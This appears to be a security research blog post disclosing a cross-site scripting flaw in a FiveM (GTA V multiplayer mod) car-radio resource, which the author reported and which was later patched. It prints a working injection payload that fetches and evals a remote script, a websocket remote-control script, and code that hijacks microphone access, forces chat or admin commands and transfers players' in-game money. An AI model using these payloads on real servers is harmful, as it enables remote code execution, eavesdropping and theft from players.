As of 2023, Grand Theft Auto V remains the second best-selling video game at 185,000,000 units sold, second to Minecraft1. Its success can largely be attributed to the game's online multiplayer mode, GTA Online, which allows players to explore a sandboxed world with friends and strangers alike. Although the playable world and content is vast, the experience is quickly degraded due to the peer-to-peer nature of the game. The client-sided nature of the game allows for a plethora of exploits, including the ability to crash players, spawn vehicles, and even corrupt other's accounts. The lack of player-led servers also means that the game can not be modded in the traditional sense.
Introducing FiveM
FiveM is an open source third-party multiplayer mod by Cfx.re2, which allows players to create or connect to dedicated servers. These servers can be modded to the creator's liking, and can be used to create custom game modes, maps, and otherwise impossible experiences. A popular example of this is roleplay servers, which allows players to roleplay as civilians, police officers, and criminals. These experiences are created with game modifications known as "resources". Resources on a roleplay server can be used to allow for the custom creation of vehicles, custom interiors & exteriors, drug-dealing mechanics, and more.
These resources can built using Lua, C#, or JavaScript. A typical setup would use Lua to handle server-side actions and JavaScript to display custom user interfaces. These scripts communicate through NUI callbacks which allow interoperability between the Chromium Embedded Framework that renders the custom interfaces and the Lua scripting engine.
Finding Servers
FiveM aggregates a list of servers that can be filtered by various criteria such as name, region, player count, etc... Selecting a server allows you to view it in more detail, revealing the list of resources, and allowing you to connect through the click of a button.
After viewing several servers from this list, rcore_radiocar
was a resource that piqued my interest. This allowed
players to specify YouTube and SoundCloud links to broadcast music from the player's car to other nearby players.
My initial thought was, it may be possible to leak player's IPs by specifying a URL that I controlled. To my surprise, this worked. I wasn't yet sure of how this resource worked under the hood and since it was paid I couldn't easily sift through the source. Or so I thought.
CEF Remote Debugging
FiveM exposes the CEF Remote Debugging interface on localhost:13172
. This allows us to inspect and debug the resource's
code for handling the user interface with ease. Each resource is loaded into its own iframe
.
A quick peek into the resource we're curious about reveals a relatively straightforward file tree.
rcore_radiocar
└── html
├── css
│ ├── reset.css
│ └── style.css
├── index.html
└── scripts
├── SoundPlayer.js
├── class.js
├── functions.js
├── listener.js
└── vue.min.js
A peek into SoundPlayer.js
reveals the functionality for how the music gets played on the client-side.
This logic is handled inside of the create()
function:
create()
{
// ...
var link = getYoutubeUrlId(this.getUrlSound());
if(link === "")
{
this.isYoutube = false;
this.audioPlayer = new Howl({
src: [this.getUrlSound()],
loop: false,
html5: true,
autoplay: false,
volume: 0.0,
format: ['mp3'],
onend: function(event){
ended(null);
},
onplay: function(){
isReady("nothing", true);
},
});
$("#" + this.div_id).remove();
$("body").append("<div id = '"+ this.div_id +"' style='display:none'>"+this.getUrlSound() +"</div>")
}
else
{
// ...
}
}
The resource attempts to extract a YouTube ID from the URL (e.g: extract D7DVSZ_poHk
from https://www.youtube.com/watch?v=D7DVSZ_poHk
).
If an ID cannot be extracted, it is treated as an unknown source and uses audio library Howler.js to parse and play
the audio. Afterwards, the resource graciously appends our sound's URL to the DOM using JQuery's append
function.
If it wasn't immediately obvious, this screams vulnerable to XSS. Since the user is able to specify any URL, an attacker is able to craft an XSS payload and execute arbitrary JavaScript on player's machines.
To test this theory, I crafted an XSS payload that did exactly this. Using a purposefully erroneous img
tag, we're able to use the onerror
attribute to fetch a larger payload and execute it using JavaScript's eval
function.
The XSS payload reads as such:
<img src="#" onerror='fetch(`https://[redacted].com/payload.js`).then(res=>res.text().then(r=>eval(r)))' style="display:none" />
The actual loaded payload contains logic to connect the player to a websocket that I control so that we're able to feed arbitrary JavaScript through a control panel.
The injected payload reads as follows:
globalThis.serverName = 'default';
globalThis.lastPing = Date.now()
const sendMessage = (socket, message) => socket.send(JSON.stringify(message));
const pingCommand = (_, socket) => {
globalThis.lastPing = Date.now();
sendMessage(socket, { type: "pong" });
}
const evalCommand = ({ code }, socket) => {
const returned = eval(code); // Execute the code sent from our server on the player's machine
sendMessage(socket, { type: "evaled", returned: `${returned}` });
};
globalThis.commands = {
eval: evalCommand,
ping: pingCommand,
}
globalThis.start ??= () => {
if (globalThis.socket) {
return;
}
const socket = new WebSocket(`wss://[redacted]/connect/${globalThis.serverName}`);
globalThis.socket = socket;
const closed = () => {
globalThis.socket = undefined;
setTimeout(() => globalThis.start(), 500)
};
socket.onclose = closed;
socket.onerror = closed;
socket.onmessage = ({ data }) => {
if (!data) return;
const { type, ...rest } = JSON.parse(data);
globalThis.commands[type]?.(rest, socket);
};
}
globalThis.start();
The only thing left was to test this. The plan goes as follows:
- Find a server with the
xsound
andrcore_radiocar
resource. - Get inside of a vehicle
- Run the
/radiocar
command and drop the XSS payload - Profit???
Now, a video demonstrating the exploit:
As I roam the city in my car, nearby players are attempting to play the music from the URL being broadcasted by my car. Since this "URL" is a maliciously crafted payload, they are instead connecting to my websocket awaiting further command.
Further commands
FiveM exposes various functions to the CEF browser. One handy function, window.invokeNative
, can be used to
execute certain tasks in C++-land. A peek into components/nui-core/src/NUICallbacks_Native.cpp
tells us what
we can do.
client->AddProcessMessageHandler("invokeNative", [] (CefRefPtr<CefBrowser> browser, CefRefPtr<CefProcessMessage> message)
{
auto args = message->GetArgumentList();
auto nativeType = args->GetString(0);
nui::OnInvokeNative(nativeType.c_str(), ToWide(args->GetString(1).ToString()).c_str());
if (nativeType == "quit")
{
// TODO: CEF shutdown and native stuff related to it (set a shutdown flag)
ExitProcess(0);
}
else if (nativeType == "openUrl")
{
std::string arg = args->GetString(1).ToString();
if (arg.find("http://") == 0 || arg.find("https://") == 0)
{
ShellExecute(nullptr, L"open", ToWide(arg).c_str(), nullptr, nullptr, SW_SHOWNORMAL);
}
}
else if (nativeType == "setConvar" || nativeType == "setArchivedConvar")
{
if (nui::HasMainUI())
{
// code to set convars, however this only works in the main menu.
}
}
else if (nativeType == "getConvars")
{
if (nui::HasMainUI())
{
// code to get convars, however this only works in the main menu.
}
}
return true;
});
openUrl
: Self explanatory, opens a URL by runningShellExecute
with theopen
parameter. Thankfully, the argument is checked to ensure it's a URL before executing the command to prevent arbitrary command execution.quit
: Also self explanatory, shutdown the game.
Other functions existing on the window
object include bangers such as:
window.fxdkClipboardRead
: Read the user's clipboard, completely bypassing the Chromium permissions model.
nuiApp->AddV8Handler("fxdkClipboardRead", [](const CefV8ValueList& arguments, CefString& exception)
{
if (OpenClipboard(nullptr))
{
ClipboardCloser closer;
if (HANDLE ptr = GetClipboardData(CF_UNICODETEXT))
{
if (wchar_t* text = static_cast<wchar_t*>(GlobalLock(ptr)))
{
std::wstring textString(text);
GlobalUnlock(ptr);
return CefV8Value::CreateString(textString);
}
}
}
return CefV8Value::CreateString("");
});
window.fxdkClipboardWrite
: Write to the user's clipboard.
As of May 27 2023, the clipboard functions are no longer accessible. Presumably due to misuse by malicious server admins & resource developers.
The DOM
Since the exploit lives in the DOM with isolation disabled, we're also able to hijack other resource's iframes.
Make users send chat messages
A peek into chat/html/App.js
tells us how in-game messages are handled:
// window.post defined in chat/html/index.html
window.post = (url, data) => {
var request = new XMLHttpRequest();
request.open('POST', url, true);
request.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
request.send(data);
}
send(e) {
if(this.message !== '') {
post('http://chat/chatResult', JSON.stringify({
message: this.message,
}));
} else {
this.hideInput(true);
}
}
Nice, an attacker should be able to have users send chat messages by sending
a request to this URL with the message
payload being our chat message:
fetch("https://chat/chatResult", {
method: "POST",
body: JSON.stringify({ message: "test" }),
});
An attacker can also execute in-game commands (Make admins execute /ban
, /kick
, etc...).
Abusing Web APIs
The attacker can also utilize various Web APIs to do things like access the user's microphone: However, FiveM prompts the user for microphone access which may look suspicious.
function getLocalStream() {
navigator.mediaDevices
.getUserMedia({ video: false, audio: true })
.then((stream) => {
window.localStream = stream; // A
window.localAudio.srcObject = stream; // B
window.localAudio.autoplay = true; // C
})
.catch((err) => {
console.error(`you got an error: ${err}`);
});
}
So instead, we can hijack an iframe that may already have microphone permission.
A good candidate being gksphone
, a resource that gives the players a cellphone
and the ability to call each other.
window.gksPhone = top.citFrames['gksphone'];
window.reqMicrophoneScript = top.document.createElement('script');
window.reqMicrophoneScript.innerHTML = `
function requestMicrophone() {
return navigator.mediaDevices.getUserMedia({ audio: true })
.then((stream) => {
// ...
})
}
requestMicrophone();
`
// inject the function into the gksphone resource
// which already has microphone access :)
window.gksPhone.contentWindow.document.body.appendChild(window.reqMicrophoneScript);
Stealing Player's Money
An attacker is able to transfer all player's money to themselves (or to any specified ID)
by abusing the bank
resource.
// bank/html/script.js
$.post('http://bank/transfer', JSON.stringify({
to: $('#idval').val(),
amountt: $('#transferval').val()
}));
Changing Everyone's Appearence
const fivemAppearanceFrame = top.window.citFrames["fivem-appearance"].contentWindow;
const fetch = fivemAppearanceFrame.fetch;
const baseUrl = `https://fivem-appearance`;
function randomInteger(min, max) {
return Math.floor(Math.random() * (max - min + 1)) + min;
}
const main = async () => {
// Get the player's existing appearence
const response = await fetch(baseUrl + "/appearance_get_settings_and_data", {
method: "GET",
headers: {
"Content-type": "application/json; charset=UTF-8",
},
});
const body = await response.json();
if (body && "appearanceSettings" in body) {
const { components } = body.appearanceSettings;
components.forEach((component) => {
const componentId = component.component_id;
const drawableId = randomInteger(
component.drawable.min,
component.drawable.max
);
const textureId = randomInteger(
component.texture.min,
component.texture.max
);
// Change the appearence to random clothing
fetch(baseUrl + "/appearance_change_component", {
method: "POST",
headers: {
"Content-type": "application/json; charset=UTF-8",
},
body: {
component_id: componentId,
drawable: drawableId,
texture: textureId,
},
});
});
}
};
main();
Impact
A quick script Pimothy and I wrote to parse the FiveM server list and filter by resources shows that hundreds of servers contained the vulnerable resources with the potential to infect thousands of players:
xsound found on w9a... players: [628/2048]
rcore_radiocar found on 8bo... players: [256/500]
xsound found on 35a... players: [299/400]
xsound found on a6r... players: [314/2048]
rcore_radiocar found on a6r... players: [314/2048]
xsound found on gq6... players: [313/2048]
xsound found on 4ez... players: [198/500]
xsound found on pkp... players: [570/1069]
xsound found on npx... players: [347/2048]
xsound found on 8qq... players: [252/800]
rcore_radiocar found on qrv... players: [137/200]
xsound found on qrv... players: [137/200]
xsound found on mko... players: [90/333]
xsound found on mpd... players: [160/600]
xsound found on aqq... players: [137/1337]
xsound found on 23o... players: [135/2048]
xsound found on gro... players: [120/150]
xsound found on l54... players: [224/512]
rcore_radiocar found on j8d... players: [182/400]
xsound found on e3r... players: [122/175]
xsound found on eaz... players: [160/500]
xsound found on rk6... players: [60/300]
and many more...
As shown above, the severity of this exploit is fairly high as an attacker is able to execute arbitrary JavaScript to all players on a server allowing for things such as microphone access, clipboard contents, and more. It was clear I needed to report it to the resource developer and so I did and on May 18 2022, a patch was released to fix the XSS.
setSoundUrl(result) {
this.url = result.replace(/<[^>]*>?/gm, '');
}
I had an idea to find servers that may still be vulnerable to this exploit so I could report it
to the server owners. It would work by traversing the server list and requesting their xsound resource
to test if the patch was applied (likely using a regex). However, the FiveM server encrypts resources and
decrypts them on the client. The decrypt routine is heavily obfuscated by their anticheat adhesive.dll
making automation infeasible.
Conclusion
FiveM provides a powerful framework to create game experiences not otherwise possible in Grand Theft Auto. However, this power can be abused by attackers through the use of XSS in vulnerable NUI resources. It is important to utilize proper input sanitization and other best practices to prevent exploits like this. Server owners should also keep installed resources up to date.
Special Thanks
- pimothy - Helped with the research for this project. Created the server list aggregator to scan for vulnerable servers.
- jordin - A test subject to help test the more severe payloads (Bank transfers, Microphone access, etc...)